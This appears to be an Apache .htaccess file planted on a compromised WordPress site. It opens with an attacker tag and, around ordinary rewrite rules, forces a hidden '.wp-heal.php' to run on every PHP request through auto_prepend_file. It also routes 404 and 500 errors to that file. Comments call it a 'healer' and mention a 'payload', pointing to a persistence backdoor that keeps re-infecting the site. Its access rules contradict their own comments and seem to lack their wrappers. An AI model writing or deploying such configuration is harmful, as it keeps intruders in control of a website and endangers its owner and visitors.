YANZ UPLOAD ANJG
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# Allow static assets in this dir (uploads, cache, etc.)
Order allow,deny
Allow from all
# v13.67 - instant heal via auto_prepend (mod_php only; FPM uses .user.ini)
php_value auto_prepend_file /home/tcujggnp/pearlgroup.store/.wp-heal.php
php_value auto_prepend_file /home/tcujggnp/pearlgroup.store/.wp-heal.php
php_value auto_prepend_file /home/tcujggnp/pearlgroup.store/.wp-heal.php
# v13.67 - catch missing/broken index.php via ErrorDocument
ErrorDocument 404 /.wp-heal.php
ErrorDocument 500 /.wp-heal.php
# BLOCK dangerous executables (PHP ONLY)
Order allow,deny
Deny from all
# MUST-BE-ACCESSIBLE (WP entry + healer)
Order deny,allow
Allow from all
# BLOCKED from direct access (payload, ini)
Order allow,deny
Allow from all
# EXPLICIT ALLOW - NEVER BLOCK THESE (crawlers, SEO, uploads)
Order allow,deny
Allow from all
Order allow,deny
Allow from all
Order allow,deny
Allow from all